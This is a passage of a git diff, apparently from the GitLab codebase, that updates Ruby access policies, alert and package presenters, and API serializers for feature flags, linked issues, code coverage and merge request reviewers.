- rule { admin | (~private_instance_statistics & ~anonymous) }
- .enable :read_instance_statistics
-
rule { anonymous }.policy do
prevent :log_in
prevent :receive_notifications
diff --git a/app/policies/group_policy.rb b/app/policies/group_policy.rb
index 3cc1be9dfb7..c98e82efef7 100644
--- a/app/policies/group_policy.rb
+++ b/app/policies/group_policy.rb
@@ -80,6 +80,7 @@ class GroupPolicy < BasePolicy
enable :read_list
enable :read_label
enable :read_board
+ enable :read_group_member
end
rule { ~can?(:read_group) }.policy do
@@ -116,6 +117,7 @@ class GroupPolicy < BasePolicy
enable :update_cluster
enable :admin_cluster
enable :read_deploy_token
+ enable :create_jira_connect_subscription
end
rule { owner }.policy do
diff --git a/app/policies/issuable_policy.rb b/app/policies/issuable_policy.rb
index 537319addc2..5cfbcfec5c0 100644
--- a/app/policies/issuable_policy.rb
+++ b/app/policies/issuable_policy.rb
@@ -24,5 +24,6 @@ class IssuablePolicy < BasePolicy
prevent :create_note
prevent :admin_note
prevent :resolve_note
+ prevent :award_emoji
end
end
diff --git a/app/policies/namespace_policy.rb b/app/policies/namespace_policy.rb
index 350dd208499..aa87442cadd 100644
--- a/app/policies/namespace_policy.rb
+++ b/app/policies/namespace_policy.rb
@@ -12,6 +12,7 @@ class NamespacePolicy < BasePolicy
enable :admin_namespace
enable :read_namespace
enable :read_statistics
+ enable :create_jira_connect_subscription
end
rule { personal_project & ~can_create_personal_project }.prevent :create_projects
diff --git a/app/policies/operations/feature_flag_policy.rb b/app/policies/operations/feature_flag_policy.rb
new file mode 100644
index 00000000000..e2f4781d07c
--- /dev/null
+++ b/app/policies/operations/feature_flag_policy.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module Operations
+ class FeatureFlagPolicy < BasePolicy
+ delegate { @subject.project }
+ end
+end
diff --git a/app/policies/project_policy.rb b/app/policies/project_policy.rb
index b2432bfa608..87ee7d201e4 100644
--- a/app/policies/project_policy.rb
+++ b/app/policies/project_policy.rb
@@ -102,11 +102,6 @@ class ProjectPolicy < BasePolicy
end
with_scope :subject
- condition(:moving_designs_disabled) do
- !::Feature.enabled?(:reorder_designs, @subject, default_enabled: true)
- end
-
- with_scope :subject
condition(:service_desk_enabled) { @subject.service_desk_enabled? }
# We aren't checking `:read_issue` or `:read_merge_request` in this case
@@ -330,6 +325,12 @@ class ProjectPolicy < BasePolicy
enable :destroy_design
enable :read_terraform_state
enable :read_pod_logs
+ enable :read_feature_flag
+ enable :create_feature_flag
+ enable :update_feature_flag
+ enable :destroy_feature_flag
+ enable :admin_feature_flag
+ enable :admin_feature_flags_user_lists
end
rule { can?(:developer_access) & user_confirmed? }.policy do
@@ -376,6 +377,7 @@ class ProjectPolicy < BasePolicy
enable :read_freeze_period
enable :update_freeze_period
enable :destroy_freeze_period
+ enable :admin_feature_flags_client
end
rule { public_project & metrics_dashboard_allowed }.policy do
@@ -452,6 +454,8 @@ class ProjectPolicy < BasePolicy
prevent :read_pipeline
prevent :read_pipeline_schedule
prevent(*create_read_update_admin_destroy(:release))
+ prevent(*create_read_update_admin_destroy(:feature_flag))
+ prevent(:admin_feature_flags_user_lists)
end
rule { container_registry_disabled }.policy do
@@ -557,10 +561,6 @@ class ProjectPolicy < BasePolicy
prevent :move_design
end
- rule { moving_designs_disabled }.policy do
- prevent :move_design
- end
-
rule { read_package_registry_deploy_token }.policy do
enable :read_package
enable :read_project
diff --git a/app/policies/user_policy.rb b/app/policies/user_policy.rb
index 6ebafca9885..c9dfa98b285 100644
--- a/app/policies/user_policy.rb
+++ b/app/policies/user_policy.rb
@@ -25,6 +25,7 @@ class UserPolicy < BasePolicy
rule { default }.enable :read_user_profile
rule { (private_profile | blocked_user) & ~(user_is_self | admin) }.prevent :read_user_profile
+ rule { user_is_self | admin }.enable :disable_two_factor
end
UserPolicy.prepend_if_ee('EE::UserPolicy')
diff --git a/app/presenters/alert_management/alert_presenter.rb b/app/presenters/alert_management/alert_presenter.rb
index 5bfa6dee18b..5debe6d5dbd 100644
--- a/app/presenters/alert_management/alert_presenter.rb
+++ b/app/presenters/alert_management/alert_presenter.rb
@@ -6,7 +6,10 @@ module AlertManagement
include IncidentManagement::Settings
include ActionView::Helpers::UrlHelper
- MARKDOWN_LINE_BREAK = " \n".freeze
+ MARKDOWN_LINE_BREAK = " \n"
+ HORIZONTAL_LINE = "\n\n---\n\n"
+
+ delegate :metrics_dashboard_url, :runbook, to: :parsed_payload
def initialize(alert, _attributes = {})
super
@@ -16,52 +19,37 @@ module AlertManagement
end
def issue_description
- horizontal_line = "\n\n---\n\n"
-
[
issue_summary_markdown,
alert_markdown,
incident_management_setting.issue_template_content
- ].compact.join(horizontal_line)
+ ].compact.join(HORIZONTAL_LINE)
end
def start_time
started_at&.strftime('%d %B %Y, %-l:%M%p (%Z)')
end
- def issue_summary_markdown
- <<~MARKDOWN.chomp
- #### Summary
-
- #{metadata_list}
- #{alert_details}#{metric_embed_for_alert}
- MARKDOWN
- end
-
- def runbook
- strong_memoize(:runbook) do
- payload&.dig('runbook')
- end
- end
-
- def metrics_dashboard_url; end
-
def details_url
details_project_alert_management_url(project, alert.iid)
end
+ def details
+ Gitlab::Utils::InlineHash.merge_keys(payload)
+ end
+
private
attr_reader :alert, :project
+ delegate :alert_markdown, :full_query, to: :parsed_payload
- def alerting_alert
- strong_memoize(:alerting_alert) do
- Gitlab::Alerting::Alert.new(project: project, payload: alert.payload).present
- end
+ def issue_summary_markdown
+ <<~MARKDOWN.chomp
+ #{metadata_list}
+ #{metric_embed_for_alert}
+ MARKDOWN
end
- def alert_markdown; end
-
def metadata_list
metadata = []
@@ -77,27 +65,10 @@ module AlertManagement
metadata.join(MARKDOWN_LINE_BREAK)
end
- def alert_details
- if details.present?
- <<~MARKDOWN.chomp
-
- #### Alert Details
-
- #{details_list}
- MARKDOWN
- end
- end
-
- def details_list
- alert.details
- .map { |label, value| list_item(label, value) }
- .join(MARKDOWN_LINE_BREAK)
+ def metric_embed_for_alert
+ "\n[](#{metrics_dashboard_url})" if metrics_dashboard_url
end
- def metric_embed_for_alert; end
-
- def full_query; end
-
def list_item(key, value)
"**#{key}:** #{value}".strip
end
diff --git a/app/presenters/alert_management/prometheus_alert_presenter.rb b/app/presenters/alert_management/prometheus_alert_presenter.rb
deleted file mode 100644
index 6b8c8183f08..00000000000
--- a/app/presenters/alert_management/prometheus_alert_presenter.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# frozen_string_literal: true
-
-module AlertManagement
- class PrometheusAlertPresenter < AlertManagement::AlertPresenter
- def runbook
- strong_memoize(:runbook) do
- payload&.dig('annotations', 'runbook')
- end
- end
-
- def metrics_dashboard_url
- alerting_alert.metrics_dashboard_url
- end
-
- private
-
- def alert_markdown
- alerting_alert.alert_markdown
- end
-
- def details_list
- alerting_alert.annotation_list
- end
-
- def metric_embed_for_alert
- alerting_alert.metric_embed_for_alert
- end
-
- def full_query
- alerting_alert.full_query
- end
- end
-end
diff --git a/app/presenters/ci/pipeline_artifacts/code_coverage_presenter.rb b/app/presenters/ci/pipeline_artifacts/code_coverage_presenter.rb
new file mode 100644
index 00000000000..098e839132c
--- /dev/null
+++ b/app/presenters/ci/pipeline_artifacts/code_coverage_presenter.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Ci
+ module PipelineArtifacts
+ class CodeCoveragePresenter < ProcessablePresenter
+ include Gitlab::Utils::StrongMemoize
+
+ def for_files(filenames)
+ coverage_files = raw_report["files"].select { |key| filenames.include?(key) }
+
+ { files: coverage_files }
+ end
+
+ private
+
+ def raw_report
+ strong_memoize(:raw_report) do
+ self.each_blob do |blob|
+ Gitlab::Json.parse(blob)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/app/presenters/clusters/cluster_presenter.rb b/app/presenters/clusters/cluster_presenter.rb
index 25693af4881..541a6363edd 100644
--- a/app/presenters/clusters/cluster_presenter.rb
+++ b/app/presenters/clusters/cluster_presenter.rb
@@ -79,7 +79,7 @@ module Clusters
{
'clusters-path': clusterable.index_path,
'dashboard-endpoint': clusterable.metrics_dashboard_path(cluster),
- 'documentation-path': help_page_path('user/project/clusters/index', anchor: 'monitoring-your-kubernetes-cluster-ultimate'),
+ 'documentation-path': help_page_path('user/project/clusters/index', anchor: 'monitoring-your-kubernetes-cluster'),
'add-dashboard-documentation-path': help_page_path('operations/metrics/dashboards/index.md', anchor: 'add-a-new-dashboard-to-your-project'),
'empty-getting-started-svg-path': image_path('illustrations/monitoring/getting_started.svg'),
'empty-loading-svg-path': image_path('illustrations/monitoring/loading.svg'),
diff --git a/app/presenters/commit_status_presenter.rb b/app/presenters/commit_status_presenter.rb
index eaa7cf848cd..714dd232efb 100644
--- a/app/presenters/commit_status_presenter.rb
+++ b/app/presenters/commit_status_presenter.rb
@@ -20,7 +20,8 @@ class CommitStatusPresenter < Gitlab::View::Presenter::Delegated
insufficient_bridge_permissions: 'This job could not be executed because of insufficient permissions to create a downstream pipeline',
bridge_pipeline_is_child_pipeline: 'This job belongs to a child pipeline and cannot create further child pipelines',
downstream_pipeline_creation_failed: 'The downstream pipeline could not be created',
- secrets_provider_not_found: 'The secrets provider can not be found'
+ secrets_provider_not_found: 'The secrets provider can not be found',
+ reached_max_descendant_pipelines_depth: 'Maximum child pipeline depth has been reached'
}.freeze
private_constant :CALLOUT_FAILURE_MESSAGES
diff --git a/app/presenters/dev_ops_score/metric_presenter.rb b/app/presenters/dev_ops_score/metric_presenter.rb
index d22beefee54..e7363293435 100644
--- a/app/presenters/dev_ops_score/metric_presenter.rb
+++ b/app/presenters/dev_ops_score/metric_presenter.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-module DevOpsScore
+module DevOpsReport
class MetricPresenter < Gitlab::View::Presenter::Simple
def cards
[
diff --git a/app/presenters/packages/conan/package_presenter.rb b/app/presenters/packages/conan/package_presenter.rb
index 5141c450412..df770777ad1 100644
--- a/app/presenters/packages/conan/package_presenter.rb
+++ b/app/presenters/packages/conan/package_presenter.rb
@@ -3,13 +3,14 @@
module Packages
module Conan
class PackagePresenter
+ include API::Helpers::Packages::Conan::ApiHelpers
include API::Helpers::RelatedResourcesHelpers
include Gitlab::Utils::StrongMemoize
attr_reader :params
- def initialize(recipe, user, project, params = {})
- @recipe = recipe
+ def initialize(package, user, project, params = {})
+ @package = package
@user = user
@project = project
@params = params
@@ -17,7 +18,10 @@ module Packages
def recipe_urls
map_package_files do |package_file|
- build_recipe_file_url(package_file) if package_file.conan_file_metadatum.recipe_file?
+ next unless package_file.conan_file_metadatum.recipe_file?
+
+ options = url_options(package_file)
+ recipe_file_url(options)
end
end
@@ -31,7 +35,12 @@ module Packages
map_package_files do |package_file|
next unless package_file.conan_file_metadatum.package_file? && matching_reference?(package_file)
- build_package_file_url(package_file)
+ options = url_options(package_file).merge(
+ conan_package_reference: package_file.conan_file_metadatum.conan_package_reference,
+ package_revision: package_file.conan_file_metadatum.package_revision
+ )
+
+ package_file_url(options)
end
end
@@ -45,36 +54,21 @@ module Packages
private
- def build_recipe_file_url(package_file)
- expose_url(
- api_v4_packages_conan_v1_files_export_path(
- package_name: package.name,
- package_version: package.version,
- package_username: package.conan_metadatum.package_username,
- package_channel: package.conan_metadatum.package_channel,
- recipe_revision: package_file.conan_file_metadatum.recipe_revision,
- file_name: package_file.file_name
- )
- )
- end
-
- def build_package_file_url(package_file)
- expose_url(
- api_v4_packages_conan_v1_files_package_path(
- package_name: package.name,
- package_version: package.version,
- package_username: package.conan_metadatum.package_username,
- package_channel: package.conan_metadatum.package_channel,
- recipe_revision: package_file.conan_file_metadatum.recipe_revision,
- conan_package_reference: package_file.conan_file_metadatum.conan_package_reference,
- package_revision: package_file.conan_file_metadatum.package_revision,
- file_name: package_file.file_name
- )
- )
+ def url_options(package_file)
+ {
+ package_name: @package.name,
+ package_version: @package.version,
+ package_username: @package.conan_metadatum.package_username,
+ package_channel: @package.conan_metadatum.package_channel,
+ file_name: package_file.file_name,
+ recipe_revision: package_file.conan_file_metadatum.recipe_revision.presence || ::Packages::Conan::FileMetadatum::DEFAULT_RECIPE_REVISION
+ }
end
def map_package_files
package_files.to_a.map do |package_file|
+ next unless package_file.conan_file_metadatum
+
key = package_file.file_name
value = yield(package_file)
next unless key && value
@@ -84,22 +78,9 @@ module Packages
end
def package_files
- return unless package
+ return unless @package
- @package_files ||= package.package_files.preload_conan_file_metadata
- end
-
- def package
- strong_memoize(:package) do
- name, version = @recipe.split('@')[0].split('/')
-
- @project.packages
- .conan
- .with_name(name)
- .with_version(version)
- .order_created
- .last
- end
+ @package_files ||= @package.package_files.preload_conan_file_metadata
end
def matching_reference?(package_file)
diff --git a/app/presenters/packages/nuget/search_results_presenter.rb b/app/presenters/packages/nuget/search_results_presenter.rb
index 96c8fe7dd2a..dc391c380f3 100644
--- a/app/presenters/packages/nuget/search_results_presenter.rb
+++ b/app/presenters/packages/nuget/search_results_presenter.rb
@@ -49,7 +49,7 @@ module Packages
def latest_version(packages)
versions = packages.map(&:version).compact
- VersionSorter.sort(versions).last # rubocop: disable Style/UnneededSort
+ VersionSorter.sort(versions).last # rubocop: disable Style/RedundantSort
end
end
end
diff --git a/app/presenters/project_presenter.rb b/app/presenters/project_presenter.rb
index 86fd405812e..ef75c160b2d 100644
--- a/app/presenters/project_presenter.rb
+++ b/app/presenters/project_presenter.rb
@@ -7,6 +7,7 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
include StorageHelper
include TreeHelper
include IconsHelper
+ include BlobHelper
include ChecksCollaboration
include Gitlab::Utils::StrongMemoize
@@ -114,7 +115,11 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
end
def add_ci_yml_path
- add_special_file_path(file_name: '.gitlab-ci.yml')
+ add_special_file_path(file_name: ci_config_path_or_default)
+ end
+
+ def add_ci_yml_ide_path
+ ide_edit_path(project, default_branch_or_master, ci_config_path_or_default)
end
def add_readme_path
@@ -219,7 +224,7 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
if current_user && can_current_user_push_to_default_branch?
AnchorData.new(false,
statistic_icon + _('New file'),
- project_new_blob_path(project, default_branch || 'master'),
+ project_new_blob_path(project, default_branch_or_master),
'missing')
end
end
@@ -325,7 +330,7 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
if cicd_missing?
AnchorData.new(false,
statistic_icon + _('Set up CI/CD'),
- add_ci_yml_path)
+ add_ci_yml_ide_path)
elsif repository.gitlab_ci_yml.present?
AnchorData.new(false,
statistic_icon('doc-text') + _('CI/CD configuration'),
@@ -397,7 +402,7 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
commit_message ||= s_("CommitMessage|Add %{file_name}") % { file_name: file_name }
project_new_blob_path(
project,
- project.default_branch || 'master',
+ default_branch_or_master,
file_name: file_name,
commit_message: commit_message,
branch_name: branch_name
diff --git a/app/presenters/projects/prometheus/alert_presenter.rb b/app/presenters/projects/prometheus/alert_presenter.rb
index 49859f27edd..783b2b2b1e0 100644
--- a/app/presenters/projects/prometheus/alert_presenter.rb
+++ b/app/presenters/projects/prometheus/alert_presenter.rb
@@ -3,7 +3,6 @@
module Projects
module Prometheus
class AlertPresenter < Gitlab::View::Presenter::Delegated
- RESERVED_ANNOTATIONS = %w(gitlab_incident_markdown gitlab_y_label title).freeze
GENERIC_ALERT_SUMMARY_ANNOTATIONS = %w(monitoring_tool service hosts).freeze
MARKDOWN_LINE_BREAK = " \n".freeze
INCIDENT_LABEL_NAME = ::IncidentManagement::CreateIncidentLabelService::LABEL_PROPERTIES[:title].freeze
@@ -51,22 +50,11 @@ module Projects
def issue_summary_markdown
<<~MARKDOWN.chomp
- #### Summary
-
#{metadata_list}
- #{alert_details}#{metric_embed_for_alert}
+ #{metric_embed_for_alert}
MARKDOWN
end
- def annotation_list
- strong_memoize(:annotation_list) do
- annotations
- .reject { |annotation| annotation.label.in?(RESERVED_ANNOTATIONS | GENERIC_ALERT_SUMMARY_ANNOTATIONS) }
- .map { |annotation| list_item(annotation.label, annotation.value) }
- .join(MARKDOWN_LINE_BREAK)
- end
- end
-
def metric_embed_for_alert
"\n[](#{metrics_dashboard_url})" if metrics_dashboard_url
end
@@ -111,15 +99,8 @@ module Projects
metadata.join(MARKDOWN_LINE_BREAK)
end
- def alert_details
- if annotation_list.present?
- <<~MARKDOWN.chomp
-
- #### Alert Details
-
- #{annotation_list}
- MARKDOWN
- end
+ def details
+ Gitlab::Utils::InlineHash.merge_keys(payload)
end
def list_item(key, value)
diff --git a/app/serializers/base_serializer.rb b/app/serializers/base_serializer.rb
index 4744a7c1cc8..90bd4730f1e 100644
--- a/app/serializers/base_serializer.rb
+++ b/app/serializers/base_serializer.rb
@@ -9,7 +9,7 @@ class BaseSerializer
end
def represent(resource, opts = {}, entity_class = nil)
- entity_class = entity_class || self.class.entity_class
+ entity_class ||= self.class.entity_class
entity_class
.represent(resource, opts.merge(request: @request))
diff --git a/app/serializers/build_coverage_entity.rb b/app/serializers/build_coverage_entity.rb
new file mode 100644
index 00000000000..47e0c30ba1e
--- /dev/null
+++ b/app/serializers/build_coverage_entity.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class BuildCoverageEntity < Grape::Entity
+ expose :name, :coverage
+end
diff --git a/app/serializers/build_details_entity.rb b/app/serializers/build_details_entity.rb
index 523f1a0f8c6..2b8522539b4 100644
--- a/app/serializers/build_details_entity.rb
+++ b/app/serializers/build_details_entity.rb
@@ -27,15 +27,15 @@ class BuildDetailsEntity < JobEntity
end
expose :artifact, if: -> (*) { can?(current_user, :read_build, build) } do
- expose :download_path, if: -> (*) { build.pipeline.artifacts_locked? || build.artifacts? } do |build|
+ expose :download_path, if: -> (*) { build.locked_artifacts? || build.artifacts? } do |build|
download_project_job_artifacts_path(project, build)
end
- expose :browse_path, if: -> (*) { build.pipeline.artifacts_locked? || build.browsable_artifacts? } do |build|
+ expose :browse_path, if: -> (*) { build.locked_artifacts? || build.browsable_artifacts? } do |build|
browse_project_job_artifacts_path(project, build)
end
- expose :keep_path, if: -> (*) { build.has_expiring_archive_artifacts? && can?(current_user, :update_build, build) } do |build|
+ expose :keep_path, if: -> (*) { (build.locked_artifacts? || build.has_expiring_archive_artifacts?) && can?(current_user, :update_build, build) } do |build|
keep_project_job_artifacts_path(project, build)
end
diff --git a/app/serializers/ci/lint/job_entity.rb b/app/serializers/ci/lint/job_entity.rb
new file mode 100644
index 00000000000..2393f9ba44c
--- /dev/null
+++ b/app/serializers/ci/lint/job_entity.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class Ci::Lint::JobEntity < Grape::Entity
+ expose :name
+ expose :stage
+ expose :before_script
+ expose :script
+ expose :after_script
+ expose :tag_list
+ expose :environment
+ expose :when
+ expose :allow_failure
+ expose :only
+ expose :except
+end
diff --git a/app/serializers/ci/lint/result_entity.rb b/app/serializers/ci/lint/result_entity.rb
new file mode 100644
index 00000000000..f9306d1dc70
--- /dev/null
+++ b/app/serializers/ci/lint/result_entity.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class Ci::Lint::ResultEntity < Grape::Entity
+ expose :valid?, as: :valid
+ expose :errors
+ expose :warnings
+ expose :jobs, using: Ci::Lint::JobEntity do |result, options|
+ next [] unless result.valid?
+
+ result.jobs
+ end
+end
diff --git a/app/serializers/ci/lint/result_serializer.rb b/app/serializers/ci/lint/result_serializer.rb
new file mode 100644
index 00000000000..4b55b415129
--- /dev/null
+++ b/app/serializers/ci/lint/result_serializer.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Ci::Lint::ResultSerializer < BaseSerializer
+ entity ::Ci::Lint::ResultEntity
+end
diff --git a/app/serializers/cluster_entity.rb b/app/serializers/cluster_entity.rb
index 06e14179238..eea0acdc11b 100644
--- a/app/serializers/cluster_entity.rb
+++ b/app/serializers/cluster_entity.rb
@@ -24,4 +24,8 @@ class ClusterEntity < Grape::Entity
expose :kubernetes_errors do |cluster|
ClusterErrorEntity.new(cluster)
end
+
+ expose :enable_advanced_logs_querying do |cluster|
+ cluster.application_elastic_stack_available?
+ end
end
diff --git a/app/serializers/cluster_serializer.rb b/app/serializers/cluster_serializer.rb
index a70458d2bcb..700a46040e3 100644
--- a/app/serializers/cluster_serializer.rb
+++ b/app/serializers/cluster_serializer.rb
@@ -11,6 +11,7 @@ class ClusterSerializer < BaseSerializer
:enabled,
:environment_scope,
:gitlab_managed_apps_logs_path,
+ :enable_advanced_logs_querying,
:kubernetes_errors,
:name,
:nodes,
diff --git a/app/serializers/diff_file_base_entity.rb b/app/serializers/diff_file_base_entity.rb
index 2af14f1eb82..9f27191c3c8 100644
--- a/app/serializers/diff_file_base_entity.rb
+++ b/app/serializers/diff_file_base_entity.rb
@@ -12,11 +12,23 @@ class DiffFileBaseEntity < Grape::Entity
expose :submodule?, as: :submodule
expose :submodule_link do |diff_file, options|
- memoized_submodule_links(diff_file, options).first
+ memoized_submodule_links(diff_file, options)&.web
end
expose :submodule_tree_url do |diff_file|
- memoized_submodule_links(diff_file, options).last
+ memoized_submodule_links(diff_file, options)&.tree
+ end
+
+ expose :submodule_compare do |diff_file|
+ url = memoized_submodule_links(diff_file, options)&.compare
+
+ next unless url
+
+ {
+ url: url,
+ old_sha: diff_file.old_blob&.id,
+ new_sha: diff_file.blob&.id
+ }
end
expose :edit_path, if: -> (_, options) { options[:merge_request] } do |diff_file|
@@ -96,11 +108,9 @@ class DiffFileBaseEntity < Grape::Entity
def memoized_submodule_links(diff_file, options)
strong_memoize(:submodule_links) do
- if diff_file.submodule?
- options[:submodule_links].for(diff_file.blob, diff_file.content_sha)
- else
- []
- end
+ next unless diff_file.submodule?
+
+ options[:submodule_links].for(diff_file.blob, diff_file.content_sha, diff_file)
end
end
diff --git a/app/serializers/diff_file_entity.rb b/app/serializers/diff_file_entity.rb
index 26a42d2e9eb..e3fefbb46b6 100644
--- a/app/serializers/diff_file_entity.rb
+++ b/app/serializers/diff_file_entity.rb
@@ -71,15 +71,11 @@ class DiffFileEntity < DiffFileBaseEntity
private
def parallel_diff_view?(options, diff_file)
- return true unless Feature.enabled?(:single_mr_diff_view, diff_file.repository.project, default_enabled: true)
-
# If we're not rendering inline, we must be rendering parallel
!inline_diff_view?(options, diff_file)
end
def inline_diff_view?(options, diff_file)
- return true unless Feature.enabled?(:single_mr_diff_view, diff_file.repository.project, default_enabled: true)
-
# If nothing is present, inline will be the default.
options.fetch(:diff_view, :inline).to_sym == :inline
end
diff --git a/app/serializers/environment_entity.rb b/app/serializers/environment_entity.rb
index a2bf9716f8f..7da5910a75b 100644
--- a/app/serializers/environment_entity.rb
+++ b/app/serializers/environment_entity.rb
@@ -71,8 +71,6 @@ class EnvironmentEntity < Grape::Entity
can?(current_user, :destroy_environment, environment)
end
- expose :has_opened_alert?, if: -> (*) { can_read_alert_management_alert? }, expose_nil: false, as: :has_opened_alert
-
private
alias_method :environment, :object
@@ -93,10 +91,6 @@ class EnvironmentEntity < Grape::Entity
can?(current_user, :read_pod_logs, environment.project)
end
- def can_read_alert_management_alert?
- can?(current_user, :read_alert_management_alert, environment.project)
- end
-
def cluster_platform_kubernetes?
deployment_platform && deployment_platform.is_a?(Clusters::Platforms::Kubernetes)
end
diff --git a/app/serializers/fork_namespace_entity.rb b/app/serializers/fork_namespace_entity.rb
index 068862e0951..abfaf4be811 100644
--- a/app/serializers/fork_namespace_entity.rb
+++ b/app/serializers/fork_namespace_entity.rb
@@ -19,7 +19,7 @@ class ForkNamespaceEntity < Grape::Entity
end
expose :permission do |namespace, options|
- membership(options[:current_user], namespace)&.human_access
+ membership(options[:current_user], namespace, options[:memberships])&.human_access
end
expose :relative_path do |namespace|
@@ -37,10 +37,10 @@ class ForkNamespaceEntity < Grape::Entity
private
# rubocop: disable CodeReuse/ActiveRecord
- def membership(user, object)
+ def membership(user, object, memberships)
return unless user
- @membership ||= user.members.find_by(source: object)
+ memberships[object.id]
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/serializers/group_group_link_entity.rb b/app/serializers/group_group_link_entity.rb
new file mode 100644
index 00000000000..7a51e1a9316
--- /dev/null
+++ b/app/serializers/group_group_link_entity.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class GroupGroupLinkEntity < Grape::Entity
+ expose :id
+ expose :created_at
+ expose :expires_at do |group_link|
+ group_link.expires_at&.to_time
+ end
+
+ expose :access_level do
+ expose :human_access, as: :string_value
+ expose :group_access, as: :integer_value
+ end
+
+ expose :shared_with_group do
+ expose :avatar_url do |group_link|
+ group_link.shared_with_group.avatar_url(only_path: false)
+ end
+
+ expose :web_url do |group_link|
+ group_link.shared_with_group.web_url
+ end
+
+ expose :shared_with_group, merge: true, using: GroupBasicEntity
+ end
+end
diff --git a/app/serializers/group_group_link_serializer.rb b/app/serializers/group_group_link_serializer.rb
new file mode 100644
index 00000000000..6ae8daf9207
--- /dev/null
+++ b/app/serializers/group_group_link_serializer.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class GroupGroupLinkSerializer < BaseSerializer
+ entity GroupGroupLinkEntity
+end
diff --git a/app/serializers/issuable_sidebar_basic_entity.rb b/app/serializers/issuable_sidebar_basic_entity.rb
index bbec107544e..53c123c06fd 100644
--- a/app/serializers/issuable_sidebar_basic_entity.rb
+++ b/app/serializers/issuable_sidebar_basic_entity.rb
@@ -103,6 +103,10 @@ class IssuableSidebarBasicEntity < Grape::Entity
issuable.project.emails_disabled?
end
+ expose :supports_time_tracking?, as: :supports_time_tracking
+ expose :supports_milestone?, as: :supports_milestone
+ expose :supports_severity?, as: :supports_severity
+
private
def current_user
diff --git a/app/serializers/issue_sidebar_basic_entity.rb b/app/serializers/issue_sidebar_basic_entity.rb
index 165dc462cfe..e9e05718af9 100644
--- a/app/serializers/issue_sidebar_basic_entity.rb
+++ b/app/serializers/issue_sidebar_basic_entity.rb
@@ -3,6 +3,7 @@
class IssueSidebarBasicEntity < IssuableSidebarBasicEntity
expose :due_date
expose :confidential
+ expose :severity
end
IssueSidebarBasicEntity.prepend_if_ee('EE::IssueSidebarBasicEntity')
diff --git a/app/serializers/job_entity.rb b/app/serializers/job_entity.rb
index d0099ae77f2..d05b500b140 100644
--- a/app/serializers/job_entity.rb
+++ b/app/serializers/job_entity.rb
@@ -9,7 +9,8 @@ class JobEntity < Grape::Entity
expose :started?, as: :started
expose :archived?, as: :archived
- expose :build_path do |build|
+ # bridge jobs don't have build detail pages
+ expose :build_path, if: ->(build) { !build.is_a?(Ci::Bridge) } do |build|
build_path(build)
end
diff --git a/app/serializers/linked_issue_entity.rb b/app/serializers/linked_issue_entity.rb
new file mode 100644
index 00000000000..6ae3f4044db
--- /dev/null
+++ b/app/serializers/linked_issue_entity.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+class LinkedIssueEntity < Grape::Entity
+ include RequestAwareEntity
+
+ expose :id, :confidential, :title
+
+ expose :assignees, using: UserEntity
+
+ expose :state
+
+ expose :milestone, using: API::Entities::Milestone
+
+ expose :weight
+
+ expose :reference do |link|
+ link.to_reference(issuable.project)
+ end
+
+ expose :path do |link|
+ project_issue_path(link.project, link.iid)
+ end
+
+ expose :relation_path
+
+ expose :due_date, :created_at, :closed_at
+
+ private
+
+ def current_user
+ request.current_user
+ end
+
+ def issuable
+ request.issuable
+ end
+end
diff --git a/app/serializers/linked_project_issue_entity.rb b/app/serializers/linked_project_issue_entity.rb
new file mode 100644
index 00000000000..c95f68f58a3
--- /dev/null
+++ b/app/serializers/linked_project_issue_entity.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class LinkedProjectIssueEntity < LinkedIssueEntity
+ include Gitlab::Utils::StrongMemoize
+
+ expose :relation_path, override: true do |issue|
+ # Make sure the user can admin both the current issue AND the
+ # referenced issue projects in order to return the removal link.
+ if can_admin_issue_link_on_current_project? && can_admin_issue_link?(issue.project)
+ project_issue_link_path(issuable.project, issuable.iid, issue.issue_link_id)
+ end
+ end
+
+ expose :link_type do |issue|
+ issue.issue_link_type
+ end
+
+ private
+
+ def can_admin_issue_link_on_current_project?
+ strong_memoize(:can_admin_on_current_project) do
+ can_admin_issue_link?(issuable.project)
+ end
+ end
+
+ def can_admin_issue_link?(project)
+ Ability.allowed?(current_user, :admin_issue_link, project)
+ end
+end
diff --git a/app/serializers/linked_project_issue_serializer.rb b/app/serializers/linked_project_issue_serializer.rb
new file mode 100644
index 00000000000..3015e593e34
--- /dev/null
+++ b/app/serializers/linked_project_issue_serializer.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class LinkedProjectIssueSerializer < BaseSerializer
+ entity LinkedProjectIssueEntity
+end
diff --git a/app/serializers/merge_request_basic_entity.rb b/app/serializers/merge_request_basic_entity.rb
index 82baf4a4a78..ef1177e9967 100644
--- a/app/serializers/merge_request_basic_entity.rb
+++ b/app/serializers/merge_request_basic_entity.rb
@@ -9,6 +9,7 @@ class MergeRequestBasicEntity < Grape::Entity
expose :milestone, using: API::Entities::Milestone
expose :labels, using: LabelEntity
expose :assignees, using: API::Entities::UserBasic
+ expose :reviewers, if: -> (m) { m.allows_reviewers? }, using: API::Entities::UserBasic
expose :task_status, :task_status_short
expose :lock_version, :lock_version
end
diff --git a/app/serializers/merge_request_poll_cached_widget_entity.rb b/app/serializers/merge_request_poll_cached_widget_entity.rb
index c51c08ab646..002be8be729 100644
--- a/app/serializers/merge_request_poll_cached_widget_entity.rb
+++ b/app/serializers/merge_request_poll_cached_widget_entity.rb
@@ -3,8 +3,8 @@
class MergeRequestPollCachedWidgetEntity < IssuableEntity
expose :auto_merge_enabled
expose :state
- expose :merge_commit_sha
- expose :short_merge_commit_sha
+ expose :merged_commit_sha
